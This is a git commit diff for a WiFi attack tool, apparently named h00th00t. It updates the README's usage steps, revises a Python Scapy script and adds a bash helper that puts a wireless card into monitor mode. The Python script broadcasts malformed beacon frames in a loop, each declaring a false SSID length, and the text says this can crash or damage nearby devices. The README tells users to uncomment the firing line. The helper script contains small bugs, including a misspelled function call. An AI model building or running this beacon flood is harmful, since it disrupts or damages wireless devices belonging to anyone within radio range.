updoots, helper script, cleanup

This commit is contained in:
2025-08-09 00:32:20 +00:00
parent 7d73861153
commit fcbfd9eceb
4 changed files with 137 additions and 17 deletions
+7 -5
View File
@@ -21,11 +21,13 @@ Testing is very challenging as it requires being out of range of all other WiFi
## Hooting (usage) ## Hooting (usage)
**DO NOT TEST IN RANGE OF ANY DEVICE YOU ARE UNWILLING TO DAMAGE** **DO NOT TEST IN RANGE OF ANY DEVICE YOU ARE UNWILLING TO DAMAGE**
1. Designed for **linux** environments with **python3** 1. Designed for **linux** environments with **python3**
2. Optional: edit line `4` and `5` of [h00thoot.py](./h00th00t.py) to match your sender and wifi device preferences 2. Set wifi device to monitor mode `bash wifi_monitor_mode.sh`
* for usage see note at the top of [wifi_monitor_mode.sh](./wifi_monitor_mode.sh)
3. Optional: edit line `4` and `5` of [h00thoot.py](./h00th00t.py) to match your sender and wifi device preferences
* Defaults are fine for most purposes * Defaults are fine for most purposes
3. Install [Scapy](https://scapy.readthedocs.io/en/latest/installation.html) 4. Install [Scapy](https://scapy.readthedocs.io/en/latest/installation.html)
4. Uncomment line `19` of [h00thoot.py](./h00th00t.py) 5. Uncomment line `38` of [h00thoot.py](./h00th00t.py)
5. `python h00th00t.py` 6. `python h00th00t.py`
* in some linux environments, sudo may be needed `sudo python h00th00t.py` * in some linux environments, sudo may be needed `sudo python h00th00t.py`
--- ---
![Stolas uwu~](./stolas-headdesk.gif) ![Stolas uwu~](./assets/stolas-headdesk.gif)

Before

Width:  |  Height:  |  Size: 3.7 MiB

After

Width:  |  Height:  |  Size: 3.7 MiB

+21 -12
View File
@@ -1,8 +1,9 @@
from scapy.all import * from scapy.all import *
# config your stuff here # config your stuff here
iface = 'wlan0' iface = 'wlan1' # wifi interface in monitor mode
sender_bssid_mac = RandMAC() # used for source mac and bssid sender_bssid_mac = RandMAC() # used for source mac and bssid
# sender_bssid_mac = 'ac:cb:12:ad:58:27'
# send raw wifi beacon frames # send raw wifi beacon frames
## USAGE: ## USAGE:
@@ -10,21 +11,29 @@ sender_bssid_mac = RandMAC() # used for source mac and bssid
### or ### or
### beacon_raw(SSID=<SSID>, reported_length=<REPORTED SSID LENGTH IN 8 BIT BYTES>, interval_seconds=<INTERVAL IN SECONDS>) ### beacon_raw(SSID=<SSID>, reported_length=<REPORTED SSID LENGTH IN 8 BIT BYTES>, interval_seconds=<INTERVAL IN SECONDS>)
## DEFAULTS: ## DEFAULTS:
### SSID="DUMMY SSID" ### SSID="PrincessPiNet"
### reported_length=255 ### reported_length=13
### interval_seconds=0.250 ### interval_seconds=0.25
def beacon_raw(SSID="DUMMY SSID", reported_length=255, interval_seconds=0.250): def beacon_raw(SSID=b"PrincessPiNet", reported_length=13, interval_seconds=0.25):
# addr1 is destination (broadcast), addr2 is the source mac, addr3 is the bssid # set the frame settings
# addr1 is destination (broadcast), addr2 is the source mac, addr3 is the bssid
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender_bssid_mac, addr3=sender_bssid_mac) # set the frame settings dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender_bssid_mac, addr3=sender_bssid_mac) # set the frame settings
beacon = Dot11Beacon() # create the beacon
essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=reported_length) # magic really happens here with Scapy's RawVal() function and the reported_length # set ssid info
frame = RadioTap()/dot11/beacon/essid # assemble the frame ssid_info = Dot11Elt(ID='SSID', info=RawVal(SSID), len=reported_length) # magic really happens here with Scapy's RawVal() function and the reported_length
print("FIRIN MY LAZORRRRRR") # assemble the frame
frame = RadioTap()/dot11/Dot11Beacon()/ssid_info
# print info
print(f"FIRIN MY LAZORRRRRR\n\tSSID: {SSID}\n\treported length: {reported_length}\n\tinterval seconds: {interval_seconds}\n\tsender bssid/mac: {sender_bssid_mac}\n")
# send it
sendp(frame, iface=iface, inter=interval_seconds, loop=1) # send on loop sendp(frame, iface=iface, inter=interval_seconds, loop=1) # send on loop
# this can be most any value really experimentation is needed # this can be most any value really experimentation is needed
ssid_binary = 0b0101 # a few random bits to send as the SSID ssid_binary = 0b0101 # a few random bits to send as the SSID
# please be careful with this, it can crash or damage your local wifi devices # please be careful with this, it can crash or damage your local wifi devices
# beacon_raw(ssid_binary) # send it! USE WITH EXTREME CARE # beacon_raw(ssid_binary) # send it! USE WITH EXTREME CARE
# beacon_raw() # send dummy normal beacon for testing
+109
View File
@@ -0,0 +1,109 @@
#!/bin/bash
# usage:
## wifi_monitor <WIFI DEVICE> <METHOD>
### examples
#### wifi_monitor # DEFAULTS wlan1 and ip method
#### wifi_monitor wlan1 # wlan1 and default ip method
#### wifi_monitor wlan0 i # wlan0 and ip method
#### wifi_monitor wlan0 a # wlan0 and airmon-ng method
#### wifi_monitor wlan0 if # wlan0 and ifconfig method
## wifi device
### wlan0 [DEFAULT]
## methods:
### ifconfig, iwconfig, if, or iw ifconfig/iwconfig method
### ip, iw or i - ip/iw method [DEFAULT]
### airo, air, airmon-ng, or a - airodump-ng/airmon-ng method
# set -e # fail on error
check_package () {
which -s $1 1>/dev/null 2>/dev/null
package_check=$?
if [ $package_check -ne 0 ]; then
echo "FAIL: $1 is not installed, exiting"
exit
fi
}
ifconfig_method () {
echo "Defaulting to ifconfig/iwconfig method on $wlan"
# test packages
check_package ifconfig
check_package iwconfig
echo "Taking down $wlan"
sudo ifconfig $wlan down
echo "Setting $wlan to monitor mode"
sudo iwconfig $wlan mode monitor
echo "Bringing $wlan back up"
sudo ifconfig $wlan up
}
ip_method () {
echo "Using ip/iw method for monitor mode on $wlan"
# check packages
check_packages ip
check_package iw
echo "Taking down $wlan"
sudo ip link set $wlan down
echo "Setting $wlan to monitor mode"
sudo iw dev $wlan set type monitor
echo "Bringing $wlan back up"
sudo ip link set $wlan up
}
airmon_method () {
echo "Using airmon-ng method for monitor mode on $wlan"
# check packages
check_package airmon-ng
check_package airodump-ng
wifi_mon="${wlan}mon" # name the monitor device
echo "Cleaning up any existing processes"
sudo airmon-ng check kill
echo "Starting $wlan in monitor mode"
sudo airmon-ng start $wlan
echo "Putting $wlan in monitor mode"
sudo airodump-ng $wlan
}
echo "Setting up for monitor mode"
if [ -z $1 ]; then
echo "Defaulting to wlan1 for wifi device"
wlan=wlan1
else
echo "Using $1 for wifi device"
wlan=$1
fi
# default, ifconfig/iwconfig method
if [ -z $2 ]; then # default ip method
ip_method
elif [ "$2" == "ifconfig" -o "$2" == "if" ]; then
ifconfig_method # explicit ifconfig method
elif [ "$2" == "ip" -o "$2" == "i" -o "$2" == "iw" ]; then
ip_method
elif [ "$2" == "airo" -o "$2" == "air" -o "$2" == "airmon-ng" -o "$2" == "a" ]; then
airmon_method
fi
echo "Hold on 5 seconds..."
sleep 5
echo "Current wireless configuration"
iwconfig
echo "Done!"